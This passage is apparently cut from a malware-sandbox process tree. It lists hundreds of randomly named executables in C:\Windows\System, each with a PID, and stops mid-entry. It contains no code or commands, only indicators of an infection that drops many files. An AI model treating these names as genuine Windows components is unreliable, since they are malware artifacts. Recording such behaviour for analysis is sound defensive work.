- C:\Windows\System\HUOOktb.exe
  C:\Windows\System\HUOOktb.exe
  2⤵
  PID:6484
- C:\Windows\System\QCxjgCz.exe
  C:\Windows\System\QCxjgCz.exe
  2⤵
  PID:6500
- C:\Windows\System\oMTKnbz.exe
  C:\Windows\System\oMTKnbz.exe
  2⤵
  PID:6516
- C:\Windows\System\EINubsn.exe
  C:\Windows\System\EINubsn.exe
  2⤵
  PID:6532
- C:\Windows\System\busOIwM.exe
  C:\Windows\System\busOIwM.exe
  2⤵
  PID:6548
- C:\Windows\System\cbJQsvD.exe
  C:\Windows\System\cbJQsvD.exe
  2⤵
  PID:6564
- C:\Windows\System\wDbIWBE.exe
  C:\Windows\System\wDbIWBE.exe
  2⤵
  PID:6580
- C:\Windows\System\QBsdOlb.exe
  C:\Windows\System\QBsdOlb.exe
  2⤵
  PID:6596
- C:\Windows\System\xOqcSkA.exe
  C:\Windows\System\xOqcSkA.exe
  2⤵
  PID:6612
- C:\Windows\System\qULJczG.exe
  C:\Windows\System\qULJczG.exe
  2⤵
  PID:6628
- C:\Windows\System\XakBwGn.exe
  C:\Windows\System\XakBwGn.exe
  2⤵
  PID:6644
- C:\Windows\System\GVUYEzk.exe
  C:\Windows\System\GVUYEzk.exe
  2⤵
  PID:6660
- C:\Windows\System\VKMfxQm.exe
  C:\Windows\System\VKMfxQm.exe
  2⤵
  PID:6676
- C:\Windows\System\IkjSLyK.exe
  C:\Windows\System\IkjSLyK.exe
  2⤵
  PID:6692
- C:\Windows\System\fmiHurd.exe
  C:\Windows\System\fmiHurd.exe
  2⤵
  PID:6712
- C:\Windows\System\eOkyVrw.exe
  C:\Windows\System\eOkyVrw.exe
  2⤵
  PID:6728
- C:\Windows\System\VDHlVKJ.exe
  C:\Windows\System\VDHlVKJ.exe
  2⤵
  PID:6748
- C:\Windows\System\FsFsgUY.exe
  C:\Windows\System\FsFsgUY.exe
  2⤵
  PID:6764
- C:\Windows\System\snUsQXn.exe
  C:\Windows\System\snUsQXn.exe
  2⤵
  PID:6780
- C:\Windows\System\mtHTUbb.exe
  C:\Windows\System\mtHTUbb.exe
  2⤵
  PID:6796
- C:\Windows\System\tVqqzfN.exe
  C:\Windows\System\tVqqzfN.exe
  2⤵
  PID:6812
- C:\Windows\System\IxgXjHb.exe
  C:\Windows\System\IxgXjHb.exe
  2⤵
  PID:6828
- C:\Windows\System\mobbwss.exe
  C:\Windows\System\mobbwss.exe
  2⤵
  PID:6848
- C:\Windows\System\SwdtZBp.exe
  C:\Windows\System\SwdtZBp.exe
  2⤵
  PID:6864
- C:\Windows\System\KPgJSSV.exe
  C:\Windows\System\KPgJSSV.exe
  2⤵
  PID:6880
- C:\Windows\System\EPXAxur.exe
  C:\Windows\System\EPXAxur.exe
  2⤵
  PID:6900
- C:\Windows\System\kEufsBT.exe
  C:\Windows\System\kEufsBT.exe
  2⤵
  PID:6916
- C:\Windows\System\TUiNOhd.exe
  C:\Windows\System\TUiNOhd.exe
  2⤵
  PID:6932
- C:\Windows\System\InlPZwk.exe
  C:\Windows\System\InlPZwk.exe
  2⤵
  PID:6948
- C:\Windows\System\dmsqTAx.exe
  C:\Windows\System\dmsqTAx.exe
  2⤵
  PID:6964
- C:\Windows\System\wecWQXV.exe
  C:\Windows\System\wecWQXV.exe
  2⤵
  PID:6984
- C:\Windows\System\JGnhLDP.exe
  C:\Windows\System\JGnhLDP.exe
  2⤵
  PID:7000
- C:\Windows\System\oxjdVwW.exe
  C:\Windows\System\oxjdVwW.exe
  2⤵
  PID:7016
- C:\Windows\System\gtwjCUv.exe
  C:\Windows\System\gtwjCUv.exe
  2⤵
  PID:7036
- C:\Windows\System\TznAhyi.exe
  C:\Windows\System\TznAhyi.exe
  2⤵
  PID:7052
- C:\Windows\System\sljFQYF.exe
  C:\Windows\System\sljFQYF.exe
  2⤵
  PID:7068
- C:\Windows\System\aqDLooz.exe
  C:\Windows\System\aqDLooz.exe
  2⤵
  PID:7084
- C:\Windows\System\pftkyAu.exe
  C:\Windows\System\pftkyAu.exe
  2⤵
  PID:7100
- C:\Windows\System\DYwFDGM.exe
  C:\Windows\System\DYwFDGM.exe
  2⤵
  PID:7116
- C:\Windows\System\rnnCorJ.exe
  C:\Windows\System\rnnCorJ.exe
  2⤵
  PID:7136
- C:\Windows\System\AAmpcGm.exe
  C:\Windows\System\AAmpcGm.exe
  2⤵
  PID:7152
- C:\Windows\System\JwcJVPS.exe
  C:\Windows\System\JwcJVPS.exe
  2⤵
  PID:5788
- C:\Windows\System\aOkcazZ.exe
  C:\Windows\System\aOkcazZ.exe
  2⤵
  PID:6176
- C:\Windows\System\JfWFVSE.exe
  C:\Windows\System\JfWFVSE.exe
  2⤵
  PID:5364
- C:\Windows\System\nXToonD.exe
  C:\Windows\System\nXToonD.exe
  2⤵
  PID:6160
- C:\Windows\System\VpEgrlZ.exe
  C:\Windows\System\VpEgrlZ.exe
  2⤵
  PID:6228
- C:\Windows\System\ipWfhIB.exe
  C:\Windows\System\ipWfhIB.exe
  2⤵
  PID:6244
- C:\Windows\System\prncePN.exe
  C:\Windows\System\prncePN.exe
  2⤵
  PID:6280
- C:\Windows\System\XwhgFbN.exe
  C:\Windows\System\XwhgFbN.exe
  2⤵
  PID:6348
- C:\Windows\System\fOoEhgT.exe
  C:\Windows\System\fOoEhgT.exe
  2⤵
  PID:6416
- C:\Windows\System\GeQSTfo.exe
  C:\Windows\System\GeQSTfo.exe
  2⤵
  PID:6480
- C:\Windows\System\zWQgbrX.exe
  C:\Windows\System\zWQgbrX.exe
  2⤵
  PID:6544
- C:\Windows\System\rKlriUr.exe
  C:\Windows\System\rKlriUr.exe
  2⤵
  PID:6604
- C:\Windows\System\ySGrjxW.exe
  C:\Windows\System\ySGrjxW.exe
  2⤵
  PID:6640
- C:\Windows\System\qHDOTkz.exe
  C:\Windows\System\qHDOTkz.exe
  2⤵
  PID:6700
- C:\Windows\System\omtZpbC.exe
  C:\Windows\System\omtZpbC.exe
  2⤵
  PID:6740
- C:\Windows\System\KfgwyGn.exe
  C:\Windows\System\KfgwyGn.exe
  2⤵
  PID:6364
- C:\Windows\System\YjESEma.exe
  C:\Windows\System\YjESEma.exe
  2⤵
  PID:6492
- C:\Windows\System\JcBmRmy.exe
  C:\Windows\System\JcBmRmy.exe
  2⤵
  PID:6620
- C:\Windows\System\mUNgshR.exe
  C:\Windows\System\mUNgshR.exe
  2⤵
  PID:6460
- C:\Windows\System\GdCKhQO.exe
  C:\Windows\System\GdCKhQO.exe
  2⤵
  PID:6528
- C:\Windows\System\IPkgezm.exe
  C:\Windows\System\IPkgezm.exe
  2⤵
  PID:6656
- C:\Windows\System\otnMBhc.exe
  C:\Windows\System\otnMBhc.exe
  2⤵
  PID:6808
- C:\Windows\System\wxmVCWY.exe
  C:\Windows\System\wxmVCWY.exe
  2⤵
  PID:6872
- C:\Windows\System\OuebeFN.exe
  C:\Windows\System\OuebeFN.exe
  2⤵
  PID:6684
- C:\Windows\System\zkezkyZ.exe
  C:\Windows\System\zkezkyZ.exe
  2⤵
  PID:6976
- C:\Windows\System\eqpLKfQ.exe
  C:\Windows\System\eqpLKfQ.exe
  2⤵
  PID:6788
- C:\Windows\System\swOKWOy.exe
  C:\Windows\System\swOKWOy.exe
  2⤵
  PID:7044
- C:\Windows\System\mfJFBKp.exe
  C:\Windows\System\mfJFBKp.exe
  2⤵
  PID:7024
- C:\Windows\System\HMqIbDY.exe
  C:\Windows\System\HMqIbDY.exe
  2⤵
  PID:7124
- C:\Windows\System\cWrxCpu.exe
  C:\Windows\System\cWrxCpu.exe
  2⤵
  PID:7148
- C:\Windows\System\WKseeJm.exe
  C:\Windows\System\WKseeJm.exe
  2⤵
  PID:7108
- C:\Windows\System\UFHtRHT.exe
  C:\Windows\System\UFHtRHT.exe
  2⤵
  PID:7092
- C:\Windows\System\YrfMqmO.exe
  C:\Windows\System\YrfMqmO.exe
  2⤵
  PID:6232
- C:\Windows\System\DMDoIGI.exe
  C:\Windows\System\DMDoIGI.exe
  2⤵
  PID:6316
- C:\Windows\System\hYtIQxK.exe
  C:\Windows\System\hYtIQxK.exe
  2⤵
  PID:6292
- C:\Windows\System\MttQwLV.exe
  C:\Windows\System\MttQwLV.exe
  2⤵
  PID:6776
- C:\Windows\System\KyVpVIj.exe
  C:\Windows\System\KyVpVIj.exe
  2⤵
  PID:6224
- C:\Windows\System\dFNIqbN.exe
  C:\Windows\System\dFNIqbN.exe
  2⤵
  PID:6332
- C:\Windows\System\idQckef.exe
  C:\Windows\System\idQckef.exe
  2⤵
  PID:5180
- C:\Windows\System\chvRuLS.exe
  C:\Windows\System\chvRuLS.exe
  2⤵
  PID:6512
- C:\Windows\System\BCgSZbu.exe
  C:\Windows\System\BCgSZbu.exe
  2⤵
  PID:6396
- C:\Windows\System\rLYncOs.exe
  C:\Windows\System\rLYncOs.exe
  2⤵
  PID:6804
- C:\Windows\System\yTgFOfR.exe
  C:\Windows\System\yTgFOfR.exe
  2⤵
  PID:6756
- C:\Windows\System\qnCCtxX.exe
  C:\Windows\System\qnCCtxX.exe
  2⤵
  PID:6956
- C:\Windows\System\TmCKpUH.exe
  C:\Windows\System\TmCKpUH.exe
  2⤵
  PID:6928
- C:\Windows\System\GcgkxeM.exe
  C:\Windows\System\GcgkxeM.exe
  2⤵
  PID:6892
- C:\Windows\System\yPcTyQk.exe
  C:\Windows\System\yPcTyQk.exe
  2⤵
  PID:6840
- C:\Windows\System\LKTsaVq.exe
  C:\Windows\System\LKTsaVq.exe
  2⤵
  PID:7012
- C:\Windows\System\TMIBeUz.exe
  C:\Windows\System\TMIBeUz.exe
  2⤵
  PID:7080
- C:\Windows\System\fJAsJwh.exe
  C:\Windows\System\fJAsJwh.exe
  2⤵
  PID:6668
- C:\Windows\System\owkTuvD.exe
  C:\Windows\System\owkTuvD.exe
  2⤵
  PID:6276
- C:\Windows\System\UBkOQLs.exe
  C:\Windows\System\UBkOQLs.exe
  2⤵
  PID:6792
- C:\Windows\System\FHlLzpg.exe
  C:\Windows\System\FHlLzpg.exe
  2⤵
  PID:6824
- C:\Windows\System\rrUwibQ.exe
  C:\Windows\System\rrUwibQ.exe
  2⤵
  PID:5400
- C:\Windows\System\zougsWT.exe
  C:\Windows\System\zougsWT.exe
  2⤵
  PID:6296
- C:\Windows\System\FYZWGUg.exe
  C:\Windows\System\FYZWGUg.exe
  2⤵
  PID:6476
- C:\Windows\System\YQOCEBv.exe
  C:\Windows\System\YQOCEBv.exe
  2⤵
  PID:6912
- C:\Windows\System\enjyzRt.exe
  C:\Windows\System\enjyzRt.exe
  2⤵
  PID:6856
- C:\Windows\System\novPyOM.exe
  C:\Windows\System\novPyOM.exe
  2⤵
  PID:7008
- C:\Windows\System\VGfgtRA.exe
  C:\Windows\System\VGfgtRA.exe
  2⤵
  PID:7184
- C:\Windows\System\ellwkMW.exe
  C:\Windows\System\ellwkMW.exe
  2⤵
  PID:7200
- C:\Windows\System\sMWsxYh.exe
  C:\Windows\System\sMWsxYh.exe
  2⤵
  PID:7220
- C:\Windows\System\uaGvUWb.exe
  C:\Windows\System\uaGvUWb.exe
  2⤵
  PID:7236
- C:\Windows\System\XXQscGS.exe
  C:\Windows\System\XXQscGS.exe
  2⤵
  PID:7252
- C:\Windows\System\yVAxTyn.exe
  C:\Windows\System\yVAxTyn.exe
  2⤵
  PID:7268
- C:\Windows\System\WAjumcb.exe
  C:\Windows\System\WAjumcb.exe
  2⤵
  PID:7288
- C:\Windows\System\aooVLyU.exe
  C:\Windows\System\aooVLyU.exe
  2⤵
  PID:7304
- C:\Windows\System\fzGHxQF.exe
  C:\Windows\System\fzGHxQF.exe
  2⤵
  PID:7324
- C:\Windows\System\SHnRqUM.exe
  C:\Windows\System\SHnRqUM.exe
  2⤵
  PID:7340
- C:\Windows\System\APhVxcW.exe
  C:\Windows\System\APhVxcW.exe
  2⤵
  PID:7356
- C:\Windows\System\UmfITrB.exe
  C:\Windows\System\UmfITrB.exe
  2⤵
  PID:7376
- C:\Windows\System\wgTEcPe.exe
  C:\Windows\System\wgTEcPe.exe
  2⤵
  PID:7392
- C:\Windows\System\opYWUJP.exe
  C:\Windows\System\opYWUJP.exe
  2⤵
  PID:7408
- C:\Windows\System\nsftuIl.exe
  C:\Windows\System\nsftuIl.exe
  2⤵
  PID:7428
- C:\Windows\System\CTpUVTO.exe
  C:\Windows\System\CTpUVTO.exe
  2⤵
  PID:7444
- C:\Windows\System\wCQDVuy.exe
  C:\Windows\System\wCQDVuy.exe
  2⤵
  PID:7460
- C:\Windows\System\TAyrwlW.exe
  C:\Windows\System\TAyrwlW.exe
  2⤵
  PID:7476
- C:\Windows\System\eYhrHzN.exe
  C:\Windows\System\eYhrHzN.exe
  2⤵
  PID:7500
- C:\Windows\System\uvufNYV.exe
  C:\Windows\System\uvufNYV.exe
  2⤵
  PID:7516
- C:\Windows\System\DShhXie.exe
  C:\Windows\System\DShhXie.exe
  2⤵
  PID:7536
- C:\Windows\System\SKZEBsf.exe
  C:\Windows\System\SKZEBsf.exe
  2⤵
  PID:7552
- C:\Windows\System\hBzZHPK.exe
  C:\Windows\System\hBzZHPK.exe
  2⤵
  PID:7576
- C:\Windows\System\cEhKahO.exe
  C:\Windows\System\cEhKahO.exe
  2⤵
  PID:7592
- C:\Windows\System\jXOVCNV.exe
  C:\Windows\System\jXOVCNV.exe
  2⤵
  PID:7608
- C:\Windows\System\YYmsLae.exe
  C:\Windows\System\YYmsLae.exe
  2⤵
  PID:7624
- C:\Windows\System\KZWbTMM.exe
  C:\Windows\System\KZWbTMM.exe
  2⤵
  PID:7640
- C:\Windows\System\rYmHsuS.exe
  C:\Windows\System\rYmHsuS.exe
  2⤵
  PID:7668
- C:\Windows\System\lzSlycu.exe
  C:\Windows\System\lzSlycu.exe
  2⤵
  PID:7696
- C:\Windows\System\LsCJZhb.exe
  C:\Windows\System\LsCJZhb.exe
  2⤵
  PID:7712
- C:\Windows\System\HMLisRX.exe
  C:\Windows\System\HMLisRX.exe
  2⤵
  PID:7740
- C:\Windows\System\xdlFlTy.exe
  C:\Windows\System\xdlFlTy.exe
  2⤵
  PID:7756
- C:\Windows\System\vuVADzr.exe
  C:\Windows\System\vuVADzr.exe
  2⤵
  PID:7772
- C:\Windows\System\vghpwmF.exe
  C:\Windows\System\vghpwmF.exe
  2⤵
  PID:7788
- C:\Windows\System\KCHUJgJ.exe
  C:\Windows\System\KCHUJgJ.exe
  2⤵
  PID:7804
- C:\Windows\System\zLhwFvY.exe
  C:\Windows\System\zLhwFvY.exe
  2⤵
  PID:7832
- C:\Windows\System\aVBmtch.exe
  C:\Windows\System\aVBmtch.exe
  2⤵
  PID:7848
- C:\Windows\System\lafSRqc.exe
  C:\Windows\System\lafSRqc.exe
  2⤵
  PID:7868
- C:\Windows\System\byukpwr.exe
  C:\Windows\System\byukpwr.exe
  2⤵
  PID:7884
- C:\Windows\System\neUXcKZ.exe
  C:\Windows\System\neUXcKZ.exe
  2⤵
  PID:7904
- C:\Windows\System\pNJPquK.exe
  C:\Windows\System\pNJPquK.exe
  2⤵
  PID:7920
- C:\Windows\System\HzxEWQX.exe
  C:\Windows\System\HzxEWQX.exe
  2⤵
  PID:7940
- C:\Windows\System\iyMPNDa.exe
  C:\Windows\System\iyMPNDa.exe
  2⤵
  PID:7956
- C:\Windows\System\dlhCqPk.exe
  C:\Windows\System\dlhCqPk.exe
  2⤵
  PID:7972
- C:\Windows\System\LqbykCH.exe
  C:\Windows\System\LqbykCH.exe
  2⤵
  PID:7996
- C:\Windows\System\nqBTiao.exe
  C:\Windows\System\nqBTiao.exe
  2⤵
  PID:8012
- C:\Windows\System\LDZqKmM.exe
  C:\Windows\System\LDZqKmM.exe
  2⤵
  PID:8028
- C:\Windows\System\IXsNTfw.exe
  C:\Windows\System\IXsNTfw.exe
  2⤵
  PID:8044
- C:\Windows\System\iyBXQfa.exe
  C:\Windows\System\iyBXQfa.exe
  2⤵
  PID:8060
- C:\Windows\System\OeeeAzW.exe
  C:\Windows\System\OeeeAzW.exe
  2⤵
  PID:8076
- C:\Windows\System\HeLvHLy.exe
  C:\Windows\System\HeLvHLy.exe
  2⤵
  PID:8092
- C:\Windows\System\FqTSZIX.exe
  C:\Windows\System\FqTSZIX.exe
  2⤵
  PID:8108
- C:\Windows\System\lgUPAVG.exe
  C:\Windows\System\lgUPAVG.exe
  2⤵
  PID:8124
- C:\Windows\System\sStkLmx.exe
  C:\Windows\System\sStkLmx.exe
  2⤵
  PID:8140
- C:\Windows\System\uRmBctC.exe
  C:\Windows\System\uRmBctC.exe
  2⤵
  PID:8156
- C:\Windows\System\DopRiEn.exe
  C:\Windows\System\DopRiEn.exe
  2⤵
  PID:8176
- C:\Windows\System\XUVIGFJ.exe
  C:\Windows\System\XUVIGFJ.exe
  2⤵
  PID:6772
- C:\Windows\System\OPApRMV.exe
  C:\Windows\System\OPApRMV.exe
  2⤵
  PID:5632
- C:\Windows\System\kefNtZw.exe
  C:\Windows\System\kefNtZw.exe
  2⤵
  PID:6708
- C:\Windows\System\OzOBHqG.exe
  C:\Windows\System\OzOBHqG.exe
  2⤵
  PID:7192
- C:\Windows\System\mDEsJtx.exe
  C:\Windows\System\mDEsJtx.exe
  2⤵
  PID:7232
- C:\Windows\System\JVwAHmQ.exe
  C:\Windows\System\JVwAHmQ.exe
  2⤵
  PID:7336
- C:\Windows\System\CXRpciw.exe
  C:\Windows\System\CXRpciw.exe
  2⤵
  PID:7440
- C:\Windows\System\fEKPdzZ.exe
  C:\Windows\System\fEKPdzZ.exe
  2⤵
  PID:6524
- C:\Windows\System\tHzEvOP.exe
  C:\Windows\System\tHzEvOP.exe
  2⤵
  PID:6448
- C:\Windows\System\onvtMJO.exe
  C:\Windows\System\onvtMJO.exe
  2⤵
  PID:7180
- C:\Windows\System\zxDCTxS.exe
  C:\Windows\System\zxDCTxS.exe
  2⤵
  PID:7244
- C:\Windows\System\OouZJiJ.exe
  C:\Windows\System\OouZJiJ.exe
  2⤵
  PID:7312
- C:\Windows\System\JvCbqXq.exe
  C:\Windows\System\JvCbqXq.exe
  2⤵
  PID:7384
- C:\Windows\System\SQUEGBa.exe
  C:\Windows\System\SQUEGBa.exe
  2⤵
  PID:7424
- C:\Windows\System\CuogtGE.exe
  C:\Windows\System\CuogtGE.exe
  2⤵
  PID:7488
- C:\Windows\System\EGZWFpa.exe
  C:\Windows\System\EGZWFpa.exe
  2⤵
  PID:7528
- C:\Windows\System\lYTyFVg.exe
  C:\Windows\System\lYTyFVg.exe
  2⤵
  PID:7600
- C:\Windows\System\osXHExl.exe
  C:\Windows\System\osXHExl.exe
  2⤵
  PID:7680
- C:\Windows\System\DaDZMQH.exe
  C:\Windows\System\DaDZMQH.exe
  2⤵
  PID:7724
- C:\Windows\System\IhJApYo.exe
  C:\Windows\System\IhJApYo.exe
  2⤵
  PID:7736
- C:\Windows\System\RXexqAB.exe
  C:\Windows\System\RXexqAB.exe
  2⤵
  PID:7300
- C:\Windows\System\HRfmfCl.exe
  C:\Windows\System\HRfmfCl.exe
  2⤵
  PID:7472
- C:\Windows\System\plqFHDB.exe
  C:\Windows\System\plqFHDB.exe
  2⤵
  PID:7876
- C:\Windows\System\LCxKmzK.exe
  C:\Windows\System\LCxKmzK.exe
  2⤵
  PID:7936
- C:\Windows\System\SsTiQcC.exe
  C:\Windows\System\SsTiQcC.exe
  2⤵
  PID:7984
- C:\Windows\System\ECorCzo.exe
  C:\Windows\System\ECorCzo.exe
  2⤵
  PID:7548
- C:\Windows\System\JaGejuJ.exe
  C:\Windows\System\JaGejuJ.exe
  2⤵
  PID:7992
- C:\Windows\System\zLUeffM.exe
  C:\Windows\System\zLUeffM.exe
  2⤵
  PID:7648
- C:\Windows\System\cwWHabj.exe
  C:\Windows\System\cwWHabj.exe
  2⤵
  PID:7660
- C:\Windows\System\WjZBKap.exe
  C:\Windows\System\WjZBKap.exe
  2⤵
  PID:7748
- C:\Windows\System\IdOpbgh.exe
  C:\Windows\System\IdOpbgh.exe
  2⤵
  PID:7828
- C:\Windows\System\sRgHQIY.exe
  C:\Windows\System\sRgHQIY.exe
  2⤵
  PID:7856
- C:\Windows\System\TgtaqxQ.exe
  C:\Windows\System\TgtaqxQ.exe
  2⤵
  PID:7896
- C:\Windows\System\FcRsHql.exe
  C:\Windows\System\FcRsHql.exe
  2⤵
  PID:7968
- C:\Windows\System\jHhtOfx.exe
  C:\Windows\System\jHhtOfx.exe
  2⤵
  PID:8024
- C:\Windows\System\BmLRsjK.exe
  C:\Windows\System\BmLRsjK.exe
  2⤵
  PID:8084
- C:\Windows\System\BQLXQUf.exe
  C:\Windows\System\BQLXQUf.exe
  2⤵
  PID:8148
- C:\Windows\System\WKlKCPX.exe
  C:\Windows\System\WKlKCPX.exe
  2⤵
  PID:8068
- C:\Windows\System\tCvNkUy.exe
  C:\Windows\System\tCvNkUy.exe
  2⤵
  PID:8100
- C:\Windows\System\gsYecci.exe
  C:\Windows\System\gsYecci.exe
  2⤵
  PID:8164
- C:\Windows\System\ymQRhTJ.exe
  C:\Windows\System\ymQRhTJ.exe
  2⤵
  PID:7196
- C:\Windows\System\eMxuvyg.exe
  C:\Windows\System\eMxuvyg.exe
  2⤵
  PID:6624
- C:\Windows\System\fESJZXp.exe
  C:\Windows\System\fESJZXp.exe
  2⤵
  PID:7332
- C:\Windows\System\pzYeWDO.exe
  C:\Windows\System\pzYeWDO.exe
  2⤵
  PID:6156
- C:\Windows\System\ggTUsXW.exe
  C:\Windows\System\ggTUsXW.exe
  2⤵
  PID:7348
- C:\Windows\System\gICmTtH.exe
  C:\Windows\System\gICmTtH.exe
  2⤵
  PID:7564
- C:\Windows\System\wvrEBPa.exe
  C:\Windows\System\wvrEBPa.exe
  2⤵
  PID:7720
- C:\Windows\System\GRrIEHK.exe
  C:\Windows\System\GRrIEHK.exe
  2⤵
  PID:7800
- C:\Windows\System\TDIxdQk.exe
  C:\Windows\System\TDIxdQk.exe
  2⤵
  PID:7676
- C:\Windows\System\IsBZoRm.exe
  C:\Windows\System\IsBZoRm.exe
  2⤵
  PID:7416
- C:\Windows\System\kMNMZas.exe
  C:\Windows\System\kMNMZas.exe
  2⤵
  PID:7840
- C:\Windows\System\EYXMydI.exe
  C:\Windows\System\EYXMydI.exe
  2⤵
  PID:6212
- C:\Windows\System\SXtPpGu.exe
  C:\Windows\System\SXtPpGu.exe
  2⤵
  PID:7784
- C:\Windows\System\LKOPrpM.exe
  C:\Windows\System\LKOPrpM.exe
  2⤵
  PID:7512
- C:\Windows\System\CuLaaTT.exe
  C:\Windows\System\CuLaaTT.exe
  2⤵
  PID:7892
- C:\Windows\System\AsbcZfA.exe
  C:\Windows\System\AsbcZfA.exe
  2⤵
  PID:7824
- C:\Windows\System\sHPsflG.exe
  C:\Windows\System\sHPsflG.exe
  2⤵
  PID:7752
- C:\Windows\System\ldGXqTU.exe
  C:\Windows\System\ldGXqTU.exe
  2⤵
  PID:8188
- C:\Windows\System\zpGlxcs.exe
  C:\Windows\System\zpGlxcs.exe
  2⤵
  PID:7964
- C:\Windows\System\dkUhveC.exe
  C:\Windows\System\dkUhveC.exe
  2⤵
  PID:8136
- C:\Windows\System\yijbdrF.exe
  C:\Windows\System\yijbdrF.exe
  2⤵
  PID:7296
- C:\Windows\System\IqxDIIH.exe
  C:\Windows\System\IqxDIIH.exe
  2⤵
  PID:7320
- C:\Windows\System\mNjsBYv.exe
  C:\Windows\System\mNjsBYv.exe
  2⤵
  PID:7632
- C:\Windows\System\IbqEjBn.exe
  C:\Windows\System\IbqEjBn.exe
  2⤵
  PID:7584
- C:\Windows\System\jCyZJnj.exe
  C:\Windows\System\jCyZJnj.exe
  2⤵
  PID:7404
- C:\Windows\System\GXcQtNe.exe
  C:\Windows\System\GXcQtNe.exe
  2⤵
  PID:6944
- C:\Windows\System\TXVATAK.exe
  C:\Windows\System\TXVATAK.exe
  2⤵
  PID:6652
- C:\Windows\System\wlERgwV.exe
  C:\Windows\System\wlERgwV.exe
  2⤵
  PID:7732
- C:\Windows\System\QCMiWcp.exe
  C:\Windows\System\QCMiWcp.exe
  2⤵
  PID:7932
- C:\Windows\System\JzgACyL.exe
  C:\Windows\System\JzgACyL.exe
  2⤵
  PID:8168
- C:\Windows\System\taXMHQe.exe
  C:\Windows\System\taXMHQe.exe
  2⤵
  PID:5644
- C:\Windows\System\axFmIra.exe
  C:\Windows\System\axFmIra.exe
  2⤵
  PID:7692
- C:\Windows\System\bHqupeG.exe
  C:\Windows\System\bHqupeG.exe
  2⤵
  PID:7560
- C:\Windows\System\lNlnOwB.exe
  C:\Windows\System\lNlnOwB.exe
  2⤵
  PID:7216
- C:\Windows\System\YvsbBVt.exe
  C:\Windows\System\YvsbBVt.exe
  2⤵
  PID:7912
- C:\Windows\System\ZLfkRQS.exe
  C:\Windows\System\ZLfkRQS.exe
  2⤵
  PID:6328
- C:\Windows\System\EexcFrN.exe
  C:\Windows\System\EexcFrN.exe
  2⤵
  PID:7928
- C:\Windows\System\bkiekgJ.exe
  C:\Windows\System\bkiekgJ.exe
  2⤵
  PID:8120
- C:\Windows\System\TrRmiGA.exe
  C:\Windows\System\TrRmiGA.exe
  2⤵
  PID:7980
- C:\Windows\System\lmKfzEd.exe
  C:\Windows\System\lmKfzEd.exe
  2⤵
  PID:7496
- C:\Windows\System\JuPPCFp.exe
  C:\Windows\System\JuPPCFp.exe
  2⤵
  PID:8116
- C:\Windows\System\BlsqwvK.exe
  C:\Windows\System\BlsqwvK.exe
  2⤵
  PID:7864
- C:\Windows\System\hYcQoTW.exe
  C:\Windows\System\hYcQoTW.exe
  2⤵
  PID:8208
- C:\Windows\System\TMwRSYm.exe
  C:\Windows\System\TMwRSYm.exe
  2⤵
  PID:8232
- C:\Windows\System\uGHfKwg.exe
  C:\Windows\System\uGHfKwg.exe
  2⤵
  PID:8248
- C:\Windows\System\YPhpCmj.exe
  C:\Windows\System\YPhpCmj.exe
  2⤵
  PID:8264
- C:\Windows\System\vHXZvzw.exe
  C:\Windows\System\vHXZvzw.exe
  2⤵
  PID:8284
- C:\Windows\System\aesqwLi.exe
  C:\Windows\System\aesqwLi.exe
  2⤵
  PID:8300
- C:\Windows\System\vwwITFi.exe
  C:\Windows\System\vwwITFi.exe
  2⤵
  PID:8316
- C:\Windows\System\pQPAvaW.exe
  C:\Windows\System\pQPAvaW.exe
  2⤵
  PID:8332
- C:\Windows\System\eayfLMD.exe
  C:\Windows\System\eayfLMD.exe
  2⤵
  PID:8348
- C:\Windows\System\RLbGkIl.exe
  C:\Windows\System\RLbGkIl.exe
  2⤵
  PID:8368
- C:\Windows\System\iiddgtH.exe
  C:\Windows\System\iiddgtH.exe
  2⤵
  PID:8384
- C:\Windows\System\USoRgEv.exe
  C:\Windows\System\USoRgEv.exe
  2⤵
  PID:8460
- C:\Windows\System\QNDOCkf.exe
  C:\Windows\System\QNDOCkf.exe
  2⤵
  PID:8480
- C:\Windows\System\qsPmyfv.exe
  C:\Windows\System\qsPmyfv.exe
  2⤵
  PID:8496
- C:\Windows\System\oSPmjFN.exe
  C:\Windows\System\oSPmjFN.exe
  2⤵
  PID:8520
- C:\Windows\System\RoVJMfk.exe
  C:\Windows\System\RoVJMfk.exe
  2⤵
  PID:8536
- C:\Windows\System\FynJJJj.exe
  C:\Windows\System\FynJJJj.exe
  2⤵
  PID:8556
- C:\Windows\System\QkdAKJC.exe
  C:\Windows\System\QkdAKJC.exe
  2⤵
  PID:8572
- C:\Windows\System\cRyNIli.exe
  C:\Windows\System\cRyNIli.exe
  2⤵
  PID:8588
- C:\Windows\System\HNTazaQ.exe
  C:\Windows\System\HNTazaQ.exe
  2⤵
  PID:8608
- C:\Windows\System\DfowqdT.exe
  C:\Windows\System\DfowqdT.exe
  2⤵
  PID:8624
- C:\Windows\System\GQtLjYd.exe
  C:\Windows\System\GQtLjYd.exe
  2⤵
  PID:8648
- C:\Windows\System\AgLYvrx.exe
  C:\Windows\System\AgLYvrx.exe
  2⤵
  PID:8664
- C:\Windows\System\BbuAkse.exe
  C:\Windows\System\BbuAkse.exe
  2⤵
  PID:8680
- C:\Windows\System\tXAlNtj.exe
  C:\Windows\System\tXAlNtj.exe
  2⤵
  PID:8696
- C:\Windows\System\XXPJkQW.exe
  C:\Windows\System\XXPJkQW.exe
  2⤵
  PID:8712
- C:\Windows\System\rvPHprK.exe
  C:\Windows\System\rvPHprK.exe
  2⤵
  PID:8728
- C:\Windows\System\QTMtBnD.exe
  C:\Windows\System\QTMtBnD.exe
  2⤵
  PID:8744
- C:\Windows\System\wcBBLcr.exe
  C:\Windows\System\wcBBLcr.exe
  2⤵
  PID:8760
- C:\Windows\System\EFdAZsX.exe
  C:\Windows\System\EFdAZsX.exe
  2⤵
  PID:8780
- C:\Windows\System\YWWBMOf.exe
  C:\Windows\System\YWWBMOf.exe
  2⤵
  PID:8796
- C:\Windows\System\WtXyNlY.exe
  C:\Windows\System\WtXyNlY.exe
  2⤵
  PID:8812
- C:\Windows\System\FIiFVxf.exe
  C:\Windows\System\FIiFVxf.exe
  2⤵
  PID:8828
- C:\Windows\System\gnXrjhk.exe
  C:\Windows\System\gnXrjhk.exe
  2⤵
  PID:8844
- C:\Windows\System\yMkxsoA.exe
  C:\Windows\System\yMkxsoA.exe
  2⤵
  PID:8860
- C:\Windows\System\KpKtsHp.exe
  C:\Windows\System\KpKtsHp.exe
  2⤵
  PID:8876
- C:\Windows\System\iWyHxXu.exe
  C:\Windows\System\iWyHxXu.exe
  2⤵
  PID:8896
- C:\Windows\System\ifGyDrx.exe
  C:\Windows\System\ifGyDrx.exe
  2⤵
  PID:8912
- C:\Windows\System\sxAbqST.exe
